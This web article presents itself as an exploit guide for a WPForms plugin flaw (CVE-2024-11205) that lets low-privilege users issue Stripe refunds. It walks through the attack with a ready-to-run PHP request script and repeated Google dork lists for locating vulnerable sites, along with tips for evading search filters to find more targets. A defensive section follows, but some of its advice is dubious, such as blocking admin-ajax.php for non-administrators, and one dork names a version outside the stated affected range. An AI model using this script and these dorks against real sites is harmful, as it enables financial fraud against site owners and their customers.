Exploit Guide: WPForms Security Vulnerability

WPForms Security Vulnerability: Unauthorized Stripe Payment Refunds and Subscription Cancellations

Overview: A critical WPForms Security Vulnerability has been discovered in the WPForms plugin for WordPress, which powers over 6 million active websites worldwide. This vulnerability, present in versions 1.8.4 through 1.9.2.1, allows authenticated attackers with subscriber-level access or higher to perform unauthorized Stripe payment refunds and subscription cancellations. The flaw arises from missing authorization checks in the ajax_single_payment_refund() and ajax_single_payment_cancel() functions, which are responsible for handling payment and subscription actions within WPForms. Exploiting this WPForms Security Vulnerability can lead to significant financial losses and unauthorized access to sensitive payment information.

Discovered By:

• Researcher: villu164
• Bug Bounty: $2,376.00 via Wordfence Bug Bounty Program

Timeline:

• October 23, 2024: Vulnerability submitted via Wordfence Bug Bounty.
• November 14, 2024: Full disclosure sent to WPForms (Awesome Motive team).
• November 15, 2024: Wordfence Premium users receive firewall rule protection.
• November 18, 2024: WPForms released patch (v1.9.2.2).
• December 15, 2024: Free Wordfence users receive protection.

CVE ID: CVE-2024-11205
CVSS Score: 8.5 (High)

Vulnerability Analysis by FireXCore

The WPForms Security Vulnerability stems from inadequate authorization checks within the ajax_single_payment_refund() method. This method is responsible for processing Stripe payment refunds. The absence of robust user permission validation allows any authenticated user with access to a valid payment ID and nonce to execute refund and subscription cancellation actions without proper authorization.

Affected Code Snippet:

public function ajax_single_payment_refund() {
    if ( ! isset( $_POST['payment_id'] ) ) {
        wp_send_json_error( [ 'message' => esc_html__( 'Missing payment ID.', 'wpforms-lite' ) ] );
    }

    $this->check_payment_collection_type();
    check_ajax_referer( 'wpforms-admin', 'nonce' );

    $payment_id = (int) $_POST['payment_id'];
    $payment_db = wpforms()->obj( 'payment' )->get( $payment_id );

    if ( empty( $payment_db ) ) {
        wp_send_json_error( [ 'message' => esc_html__( 'Payment not found in the database.', 'wpforms-lite' ) ] );
    }

    $refund = $this->payment_intents->refund_payment( $payment_db->transaction_id, $args );

    if ( ! $refund ) {
        wp_send_json_error( [ 'message' => esc_html__( 'Refund failed.', 'wpforms-lite' ) ] );
    }

    $log = sprintf( 'Stripe payment refunded. Refunded amount: %1$s.', wpforms_format_amount( wpforms_sanitize_amount( $amount_to_log ), true ) );
    UpdateHelpers::refund_payment( $payment_db, $payment_db->total_amount, $log );

    wp_send_json_success( [ 'message' => esc_html__( 'Refund successful.', 'wpforms-lite' ) ] );
}

Key Issues:

• Missing User Authorization Checks: The method does not verify whether the current user has the necessary permissions to process refunds, allowing unauthorized access.
• Lack of Payment Ownership Verification: There is no validation to ensure that the payment being refunded belongs to the user making the request.
• Nonce Validation is Insufficient: Although nonce validation is present, it does not effectively prevent unauthorized users from exploiting the vulnerability.

Exploitation Steps: Learn from FireXCore

Exploiting this WPForms Security Vulnerability involves several steps, from identifying vulnerable sites to executing unauthorized refund actions. Below is a detailed breakdown of the exploitation process.

1. Identify Vulnerable Sites

Attackers can leverage Google Dorking to locate WordPress sites running vulnerable versions of WPForms. Google Dorking involves using specific search queries to find websites with certain characteristics or configurations. Example search queries include:

• intext:"class='wpforms-form'" OR intext:"id='wpforms-form'"
• inurl:"/wp-content/plugins/wpforms/assets/js/wpforms.min.js"
• inurl:"/wp-admin/admin-ajax.php" intext:"wpforms-submit"
• intext:"Powered by WPForms" -demo
• inurl:"/wp-json/wpforms/v1"
• intext:"name='wpforms[fields]'" OR intext:"name='wpforms[submit]'"
• inurl:"/wp-content/plugins/wpforms" intext:"?ver=1.8.1"

These queries help attackers pinpoint websites that are likely running WPForms versions susceptible to this vulnerability.

2. Exploit the Vulnerability

Once a vulnerable site is identified, attackers can proceed with exploiting the flaw through the following steps:

1. Register as a Normal User:
   • Attackers create an account on the target website. Since subscriber-level access or higher is sufficient, even minimal access credentials can be exploited.
2. Obtain a Valid Payment ID:
   • Using browser developer tools, attackers can inspect network requests or page elements to extract valid payment IDs. Alternatively, if attackers have database access, they can directly retrieve payment IDs from the database.
3. Craft and Send a POST Request:
   • Attackers construct a POST request targeting the admin-ajax.php endpoint with the necessary parameters (payment_id and nonce) to trigger the refund action.

   Example Exploit Code:

   <?php
   $url = 'https://targetsite.com/wp-admin/admin-ajax.php';
   $payment_id = '12345'; // Replace with a valid payment ID
   $nonce = 'abcdef123456'; // Replace with a valid nonce
   
   $data = array(
       'action'     => 'wpforms_stripe_payments_refund',
       'payment_id' => $payment_id,
       'nonce'      => $nonce,
   );
   
   $options = array(
       'http' => array(
           'method'  => 'POST',
           'header'  => 'Content-type: application/x-www-form-urlencoded',
           'content' => http_build_query($data),
       ),
   );
   
   $context = stream_context_create($options);
   $result = file_get_contents($url, false, $context);
   
   if ($result === FALSE) {
       die('Error occurred while sending the request');
   }
   
   echo 'Server Response: ' . $result;  // Display response from server
   ?>
   

   • Parameters:
     • action: Specifies the action to be performed (wpforms_stripe_payments_refund).
     • payment_id: The ID of the payment to be refunded.
     • nonce: A security token intended to validate the request.
4. Execute the Request:
   • Running the above script sends the crafted POST request to the target site’s admin-ajax.php, attempting to process an unauthorized refund.

3. Verify Exploit Success

After executing the exploit, attackers can confirm the success of the unauthorized refund through:

• Server Response:
  • A successful refund will typically return a JSON response indicating success, such as:

    {
        "success": true,
        "message": "Refund successful."
    }
    

• Stripe Dashboard:
  • By accessing the linked Stripe account (if possible), attackers can verify whether the refund has been processed.

Successful exploitation results in unauthorized refunds, leading to potential financial losses for the website owner and compromising the integrity of payment transactions.

Defensive Measures: How to Patch

To safeguard against the WPForms Security Vulnerability, WordPress site administrators using WPForms should implement the following defensive strategies:

1. Update the WPForms Plugin

• Action: Immediately update WPForms to version 1.9.2.2 or later.
• Reason: The WPForms development team has addressed this vulnerability in the patch release, ensuring that proper authorization checks are in place.

2. Verify User Permissions

• Implementation:
  • Add permission checks to ensure only authorized users (e.g., administrators) can process refunds.
  • Example Code:

    if ( ! current_user_can( 'manage_options' ) ) {
        wp_send_json_error( [ 'message' => esc_html__( 'You do not have permission to process refunds.', 'wpforms-lite' ) ] );
    }
    

• Reason: Restricting refund capabilities to users with higher privileges prevents unauthorized users from exploiting refund functionalities.

3. Verify Payment Ownership

• Implementation:
  • Ensure that only the owner of a payment can request a refund for it.
  • Example Code:

    if ( $payment_db->user_id !== get_current_user_id() ) {
        wp_send_json_error( [ 'message' => esc_html__( 'You are not the owner of this payment.', 'wpforms-lite' ) ] );
    }
    

• Reason: Validating payment ownership ensures that users cannot manipulate or refund payments that do not belong to them.

4. Restrict Access to admin-ajax.php

• Implementation:
  • Limit access to the admin-ajax.php endpoint to only authorized users.
  • Example Code:

    if ( ! current_user_can( 'administrator' ) ) {
        wp_die( 'You do not have permission to access this page.' );
    }
    

• Reason: Restricting access to critical endpoints prevents unauthorized users from sending exploitative requests.

5. Hide Sensitive Error Messages

• Implementation:
  • Avoid exposing detailed error messages that could aid attackers.
  • Example Code:

    wp_send_json_error( [ 'message' => esc_html__( 'An error occurred. Please try again later.', 'wpforms-lite' ) ] );
    

• Reason: Generic error messages prevent attackers from gaining insights into the system’s internal mechanisms, making exploitation more difficult.

6. Regular Monitoring and Logging

• Implementation:
  • Continuously monitor payment and refund logs for unusual or suspicious activities.
  • Tools: Utilize security plugins and logging tools to track and analyze transactions.
• Reason: Proactive monitoring allows administrators to detect and respond to unauthorized refund attempts promptly.

Google Dorking for Finding Vulnerable Sites

Attackers often use Google Dorking to discover vulnerable websites. By crafting specific search queries, they can identify WordPress sites running WPForms versions susceptible to the identified WPForms Security Vulnerability. Below are some effective dorking queries:

• intext:"class='wpforms-form'" OR intext:"id='wpforms-form'"
• inurl:"/wp-content/plugins/wpforms/assets/js/wpforms.min.js"
• inurl:"/wp-content/plugins/wpforms/assets/css/wpforms.css"
• inurl:"/wp-admin/admin-ajax.php" intext:"wpforms-submit"
• intext:"Powered by WPForms" -demo
• inurl:"/wp-json/wpforms/v1"
• intext:"name='wpforms[fields]'" OR intext:"name='wpforms[submit]'"
• inurl:"/wp-content/plugins/wpforms" intext:"?ver=1.8.1"

Usage Tips:

• Combine multiple dorking queries to narrow down search results.
• Regularly update and modify queries to bypass search engine filters and uncover new vulnerable sites.

Note: Ethical considerations should always be taken into account. Unauthorized scanning or exploitation of vulnerabilities is illegal and unethical. This information is provided solely for educational and defensive purposes.

Responsible Disclosure

If you discover this WPForms Security Vulnerability on other websites, it’s imperative to report it responsibly to help maintain the security and integrity of the WordPress ecosystem. Follow these steps for responsible disclosure:

1. Contact the WPForms Development Team:
   • Reach out to the WPForms support or security team to inform them of the vulnerability.
   • Provide detailed information, including steps to reproduce the issue and any relevant code snippets.
2. Avoid Public Disclosure:
   • Do not publicly disclose the vulnerability details until a patch is released to prevent malicious exploitation.
3. Follow Up:
   • Maintain communication with the WPForms team to ensure that the vulnerability is addressed promptly.
4. Report to Security Platforms:
   • Consider reporting the vulnerability to recognized security platforms or bug bounty programs to receive acknowledgment or rewards.

Responsible disclosure helps developers address security issues effectively, ensuring the safety of all users relying on the affected software.

Conclusion

The identified WPForms Security Vulnerability poses a significant security threat, enabling unauthorized users to perform Stripe payment refunds and subscription cancellations. This can result in substantial financial losses and compromise sensitive payment data. By implementing the recommended defensive measures—such as updating the WPForms plugin, verifying user permissions and payment ownership, restricting access to critical endpoints, hiding sensitive error messages, and maintaining vigilant monitoring—site administrators can mitigate the risks associated with this WPForms Security Vulnerability.

Key Takeaways:

• Immediate Action: Update WPForms to the latest patched version (1.9.2.2 or later) to eliminate the vulnerability.
• Best Practices: Regularly audit and update all plugins, enforce strict user permission protocols, and monitor transactional activities.
• Security Awareness: Stay informed about the latest security threats and vulnerabilities affecting your WordPress installations.

Maintaining a robust security posture is essential for protecting your website, your users, and your financial transactions from potential exploits. Always prioritize security updates and adhere to best practices in user authentication and authorization to safeguard your WordPress applications.

For further details or to report vulnerabilities, please contact the FireXCore team.

Note: Regularly audit plugins for security issues, keep software updated, and follow best practices for WordPress security to prevent similar vulnerabilities from compromising your website.